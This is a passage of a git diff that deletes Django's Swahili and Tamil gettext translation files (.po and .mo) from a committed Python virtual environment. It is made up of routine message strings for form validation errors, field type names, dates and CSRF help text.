`floating point`" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "Inteja" - -msgid "Big (8 byte) integer" -msgstr "Inteja kubwa (baiti 8)" - -msgid "IPv4 address" -msgstr "anuani ya IPV4" - -msgid "IP address" -msgstr "anuani ya IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "Buleani (Aidha kweli, Si kweli au Hukuna)" - -msgid "Positive integer" -msgstr "Inteja chanya" - -msgid "Positive small integer" -msgstr "Inteja chanya ndogo" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slagi (hadi %(max_length)s)" - -msgid "Small integer" -msgstr "Inteja ndogo" - -msgid "Text" -msgstr "Maandishi" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Muda" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "Faili" - -msgid "Image" -msgstr "Picha" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "'Foreign Key' (aina inapatikana kwa uga unaohusiana)" - -msgid "One-to-one relationship" -msgstr "Uhusiano wa moja-kwa-moja" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "Uhusiano wa vingi-kwa-vingi" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Sehemu hii inahitajika" - -msgid "Enter a whole number." -msgstr "Ingiza namba kamili" - -msgid "Enter a valid date." -msgstr "Ingiza tarehe halali" - -msgid "Enter a valid time." -msgstr "Ingiza muda halali" - -msgid "Enter a valid date/time." -msgstr "Ingiza tarehe/muda halali" - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Hakuna faili lililokusanywa. Angalia aina ya msimbo kwenye fomu." - -msgid "No file was submitted." -msgstr "Hakuna faili lililokusanywa." - -msgid "The submitted file is empty." -msgstr "Faili lililokusanywa ni tupu." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Tafadhali aidha kusanya faili au tiki kisanduku kilicho wazi, si yote." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Pakia picha halali. Faili ulilopakia lilikua aidha si picha au ni picha " -"iliyopotoshwa." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Chagua chaguo halali. %(value)s si moja kati ya machaguo yaliyopo." - -msgid "Enter a list of values." -msgstr "Ingiza orodha ya thamani" - -msgid "Enter a complete value." -msgstr "" - -msgid "Enter a valid UUID." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "Panga" - -msgid "Delete" -msgstr "Futa" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Tafadhali rekebisha data zilizojirudia kwa %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Tafadhali rekebisha data zilizojirudia kwa %(field)s, zinazotakiwa kuwa za " -"kipekee." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Tafadhali sahihisha data zilizojirudia kwa %(field_name)s ,uga huu ni lazima " -"kuwa wa pekee kwa %(lookup)s katika %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Tafadhali sahihisha thamani zilizojirudia hapo chini." - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Chagua chaguo halali. Chaguo hilo si moja kati ya chaguzi halali" - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Safisha" - -msgid "Currently" -msgstr "Kwa sasa" - -msgid "Change" -msgstr "Badili" - -msgid "Unknown" -msgstr "Haijulikani" - -msgid "Yes" -msgstr "Ndiyo" - -msgid "No" -msgstr "Hapana" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "ndiyo,hapana,labda" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "baiti %(size)d" -msgstr[1] "baiti %(size)d" - -#, python-format -msgid "%s KB" -msgstr "KB %s" - -#, python-format -msgid "%s MB" -msgstr "MB %s" - -#, python-format -msgid "%s GB" -msgstr "GB %s" - -#, python-format -msgid "%s TB" -msgstr "TB %s" - -#, python-format -msgid "%s PB" -msgstr "PB %s" - -msgid "p.m." -msgstr "p.m" - -msgid "a.m." -msgstr "a.m" - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "usiku wa manane" - -msgid "noon" -msgstr "mchana" - -msgid "Monday" -msgstr "Jumatatu" - -msgid "Tuesday" -msgstr "Jumanne" - -msgid "Wednesday" -msgstr "Jumatano" - -msgid "Thursday" -msgstr "Alhamisi" - -msgid "Friday" -msgstr "Ijumaa" - -msgid "Saturday" -msgstr "Jumamosi" - -msgid "Sunday" -msgstr "Jumapili" - -msgid "Mon" -msgstr "Jtatu" - -msgid "Tue" -msgstr "Jnne" - -msgid "Wed" -msgstr "jtano" - -msgid "Thu" -msgstr "Alh" - -msgid "Fri" -msgstr "Ijmaa" - -msgid "Sat" -msgstr "Jmosi" - -msgid "Sun" -msgstr "Jpili" - -msgid "January" -msgstr "Januari" - -msgid "February" -msgstr "Februari" - -msgid "March" -msgstr "Machi" - -msgid "April" -msgstr "Aprili" - -msgid "May" -msgstr "Mei" - -msgid "June" -msgstr "Juni" - -msgid "July" -msgstr "Julai" - -msgid "August" -msgstr "Agosti" - -msgid "September" -msgstr "Septemba" - -msgid "October" -msgstr "Oktoba" - -msgid "November" -msgstr "Novemba" - -msgid "December" -msgstr "Disemba" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "machi" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "mei" - -msgid "jun" -msgstr "Juni" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "ago" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "okt" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dis" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Machi" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Aprili" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Mei" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Juni" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Julai" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Ago." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Sep." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Okt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dis." - -msgctxt "alt. month" -msgid "January" -msgstr "Januari" - -msgctxt "alt. month" -msgid "February" -msgstr "Februari" - -msgctxt "alt. month" -msgid "March" -msgstr "Machi" - -msgctxt "alt. month" -msgid "April" -msgstr "Aprili" - -msgctxt "alt. month" -msgid "May" -msgstr "Mei" - -msgctxt "alt. month" -msgid "June" -msgstr "Juni" - -msgctxt "alt. month" -msgid "July" -msgstr "Julai" - -msgctxt "alt. month" -msgid "August" -msgstr "Agosti" - -msgctxt "alt. month" -msgid "September" -msgstr "Septemba" - -msgctxt "alt. month" -msgid "October" -msgstr "Oktoba" - -msgctxt "alt. month" -msgid "November" -msgstr "Novemba" - -msgctxt "alt. month" -msgid "December" -msgstr "Disemba" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "au" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "mwaka %d" -msgstr[1] "miaka %d" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "mwezi %d" -msgstr[1] "miezi %d" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "wiki %d" -msgstr[1] "wiki %d" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "siku %d" -msgstr[1] "siku %d" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "saa %d" -msgstr[1] "saa %d" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "dakika %d" -msgstr[1] "dakika %d" - -msgid "0 minutes" -msgstr "dakika 0" - -msgid "Forbidden" -msgstr "Marufuku" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "Maelezo zaidi yanapatikana ikiwa DEBUG=True" - -msgid "No year specified" -msgstr "Hakuna mwaka maalum uliotajwa" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "Hakuna mwezi maalum uliotajwa" - -msgid "No day specified" -msgstr "Hakuna siku maalum iliyitajwa" - -msgid "No week specified" -msgstr "Hakuna wiki maalum iliyotajwa" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Hakujapatikana %(verbose_name_plural)s" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"%(verbose_name_plural)s kutoka wakati ujao haiwezekani kwani `" -"%(class_name)s.allow_future` ni `False`." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "hakuna %(verbose_name)s kulingana na ulizo" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Ukurasa batili (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "Sahirisi za saraka haziruhusiwi hapa." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Sahirisi ya %(directory)s" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ta/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/ta/LC_MESSAGES/django.mo deleted file mode 100644 index 1c684f8b..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ta/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ta/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/ta/LC_MESSAGES/django.po deleted file mode 100644 index ad7bf714..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ta/LC_MESSAGES/django.po +++ /dev/null @@ -1,1230 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Claude Paroz , 2020 -# Jannis Leidel , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2020-05-19 20:23+0200\n" -"PO-Revision-Date: 2020-07-14 21:42+0000\n" -"Last-Translator: Transifex Bot <>\n" -"Language-Team: Tamil (http://www.transifex.com/django/django/language/ta/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ta\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "" - -msgid "Arabic" -msgstr "அரபிக்" - -msgid "Algerian Arabic" -msgstr "" - -msgid "Asturian" -msgstr "" - -msgid "Azerbaijani" -msgstr "" - -msgid "Bulgarian" -msgstr "" - -msgid "Belarusian" -msgstr "" - -msgid "Bengali" -msgstr "பெங்காலி" - -msgid "Breton" -msgstr "" - -msgid "Bosnian" -msgstr "" - -msgid "Catalan" -msgstr "" - -msgid "Czech" -msgstr "செக்" - -msgid "Welsh" -msgstr "வெல்ஸ்" - -msgid "Danish" -msgstr "டேனிஷ்" - -msgid "German" -msgstr "ஜெர்மன்" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "கிரேக்கம்" - -msgid "English" -msgstr "ஆங்கிலம்" - -msgid "Australian English" -msgstr "" - -msgid "British English" -msgstr "" - -msgid "Esperanto" -msgstr "" - -msgid "Spanish" -msgstr "ஸ்பானிஷ்" - -msgid "Argentinian Spanish" -msgstr "" - -msgid "Colombian Spanish" -msgstr "" - -msgid "Mexican Spanish" -msgstr "" - -msgid "Nicaraguan Spanish" -msgstr "" - -msgid "Venezuelan Spanish" -msgstr "" - -msgid "Estonian" -msgstr "" - -msgid "Basque" -msgstr "" - -msgid "Persian" -msgstr "" - -msgid "Finnish" -msgstr "பீனீஷ்" - -msgid "French" -msgstr "ப்ரென்சு" - -msgid "Frisian" -msgstr "" - -msgid "Irish" -msgstr "" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "கலீஷீயன்" - -msgid "Hebrew" -msgstr "ஹீப்ரு" - -msgid "Hindi" -msgstr "" - -msgid "Croatian" -msgstr "" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "ஹங்கேரியன்" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "" - -msgid "Indonesian" -msgstr "" - -msgid "Igbo" -msgstr "" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "ஐஸ்லான்டிக்" - -msgid "Italian" -msgstr "இத்தாலியன்" - -msgid "Japanese" -msgstr "ஜப்பானிய" - -msgid "Georgian" -msgstr "" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "" - -msgid "Khmer" -msgstr "" - -msgid "Kannada" -msgstr "" - -msgid "Korean" -msgstr "" - -msgid "Kyrgyz" -msgstr "" - -msgid "Luxembourgish" -msgstr "" - -msgid "Lithuanian" -msgstr "" - -msgid "Latvian" -msgstr "" - -msgid "Macedonian" -msgstr "" - -msgid "Malayalam" -msgstr "" - -msgid "Mongolian" -msgstr "" - -msgid "Marathi" -msgstr "" - -msgid "Burmese" -msgstr "" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "" - -msgid "Dutch" -msgstr "டச்சு" - -msgid "Norwegian Nynorsk" -msgstr "" - -msgid "Ossetic" -msgstr "" - -msgid "Punjabi" -msgstr "" - -msgid "Polish" -msgstr "" - -msgid "Portuguese" -msgstr "" - -msgid "Brazilian Portuguese" -msgstr "" - -msgid "Romanian" -msgstr "ரோமானியன்" - -msgid "Russian" -msgstr "ரஷ்யன்" - -msgid "Slovak" -msgstr "சுலோவாக்" - -msgid "Slovenian" -msgstr "ஸ்லோவேனியன்" - -msgid "Albanian" -msgstr "" - -msgid "Serbian" -msgstr "செர்பியன்" - -msgid "Serbian Latin" -msgstr "" - -msgid "Swedish" -msgstr "சுவிடிஷ்" - -msgid "Swahili" -msgstr "" - -msgid "Tamil" -msgstr "தமிழ்" - -msgid "Telugu" -msgstr "" - -msgid "Tajik" -msgstr "" - -msgid "Thai" -msgstr "" - -msgid "Turkmen" -msgstr "" - -msgid "Turkish" -msgstr "துருக்கிஷ்" - -msgid "Tatar" -msgstr "" - -msgid "Udmurt" -msgstr "" - -msgid "Ukrainian" -msgstr "உக்ரேனியன்" - -msgid "Urdu" -msgstr "" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "" - -msgid "Simplified Chinese" -msgstr "எளிய சீன மொழி" - -msgid "Traditional Chinese" -msgstr "மரபு சீன மொழி" - -msgid "Messages" -msgstr "" - -msgid "Site Maps" -msgstr "" - -msgid "Static Files" -msgstr "" - -msgid "Syndication" -msgstr "" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "" - -msgid "Enter a valid URL." -msgstr "" - -msgid "Enter a valid integer." -msgstr "" - -msgid "Enter a valid email address." -msgstr "" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "" - -msgid "Enter a valid IPv6 address." -msgstr "" - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "" - -msgid "Enter only digits separated by commas." -msgstr "இங்கு எண்களை மட்டுமே எழுதவும் காமவாள் தனிமைபடுத்தவும் " - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Enter a number." -msgstr "" - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "மற்றும்" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "இந்த புலம் காலியாக இருக்கக் கூடாது" - -msgid "This field cannot be blank." -msgstr "" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "" - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "பூலியன் (சரி அல்லது தவறு)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "" - -msgid "Comma-separated integers" -msgstr "கமாவாள் பிரிக்கப்பட்ட முழு எண்" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "தேதி (நேரமில்லாமல்)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "தேதி (நேரமுடன்)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "தசம எண்கள்" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "" - -msgid "Email address" -msgstr "" - -msgid "File path" -msgstr "கோப்புப் பாதை" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "முழு எண்" - -msgid "Big (8 byte) integer" -msgstr "" - -msgid "IPv4 address" -msgstr "" - -msgid "IP address" -msgstr "IP விலாசம்" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "இலக்கு முறை (சரி, தவறு அல்லது ஒன்றும் இல்லை)" - -msgid "Positive big integer" -msgstr "" - -msgid "Positive integer" -msgstr "" - -msgid "Positive small integer" -msgstr "" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "" - -msgid "Small integer" -msgstr "" - -msgid "Text" -msgstr "உரை" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "நேரம்" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "" - -msgid "Image" -msgstr "" - -msgid "A JSON object" -msgstr "" - -msgid "Value must be valid JSON." -msgstr "" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "" - -msgid "One-to-one relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr "" - -msgid "This field is required." -msgstr "இந்த புலத்தில் மதிப்பு தேவை" - -msgid "Enter a whole number." -msgstr "முழு எண் மட்டுமே எழுதவும்" - -msgid "Enter a valid date." -msgstr "" - -msgid "Enter a valid time." -msgstr "" - -msgid "Enter a valid date/time." -msgstr "" - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "அந்த பக்கத்தின் encoding வகையைப் பரிசோதிக்க.கோப்பு சமர்பிக்கப் பட்டவில்லை " - -msgid "No file was submitted." -msgstr "" - -msgid "The submitted file is empty." -msgstr "சமர்பிக்கப் பட்ட கோப்புக் காலியாக உள்ளது" - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"முறையான படம் மட்டுமே பதிவேற்றம் செய்யவும். நீங்கள் பதிவேற்றம் செய்த கோப்பு படம் அள்ளாத " -"அல்லது கெட்டுப்போன கோப்பாகும்" - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" - -msgid "Enter a list of values." -msgstr "" - -msgid "Enter a complete value." -msgstr "" - -msgid "Enter a valid UUID." -msgstr "" - -msgid "Enter a valid JSON." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr "" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "" - -msgid "Delete" -msgstr "நீக்குக" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "" - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" - -msgid "Please correct the duplicate values below." -msgstr "" - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "" - -msgid "Currently" -msgstr "" - -msgid "Change" -msgstr "மாற்றுக" - -msgid "Unknown" -msgstr "தெரியாத" - -msgid "Yes" -msgstr "ஆம்" - -msgid "No" -msgstr "இல்லை" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "ஆம்,இல்லை,இருக்கலாம்" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%s KB" -msgstr "" - -#, python-format -msgid "%s MB" -msgstr "" - -#, python-format -msgid "%s GB" -msgstr "" - -#, python-format -msgid "%s TB" -msgstr "" - -#, python-format -msgid "%s PB" -msgstr "" - -msgid "p.m." -msgstr "" - -msgid "a.m." -msgstr "" - -msgid "PM" -msgstr "" - -msgid "AM" -msgstr "" - -msgid "midnight" -msgstr "" - -msgid "noon" -msgstr "" - -msgid "Monday" -msgstr "திங்கள்" - -msgid "Tuesday" -msgstr "செவ்வாய்" - -msgid "Wednesday" -msgstr "புதன்" - -msgid "Thursday" -msgstr "வியாழன்" - -msgid "Friday" -msgstr "வெள்ளி" - -msgid "Saturday" -msgstr "சனி" - -msgid "Sunday" -msgstr "ஞாயிறு" - -msgid "Mon" -msgstr "" - -msgid "Tue" -msgstr "" - -msgid "Wed" -msgstr "" - -msgid "Thu" -msgstr "" - -msgid "Fri" -msgstr "" - -msgid "Sat" -msgstr "" - -msgid "Sun" -msgstr "" - -msgid "January" -msgstr "ஜனவரி" - -msgid "February" -msgstr "பிப்ரவரி" - -msgid "March" -msgstr "மார்ச்" - -msgid "April" -msgstr "ஏப்ரல்" - -msgid "May" -msgstr "மே" - -msgid "June" -msgstr "ஜூன்" - -msgid "July" -msgstr "ஜூலை" - -msgid "August" -msgstr "ஆகஸ்டு" - -msgid "September" -msgstr "செப்டம்பர்" - -msgid "October" -msgstr "அக்டோபர்" - -msgid 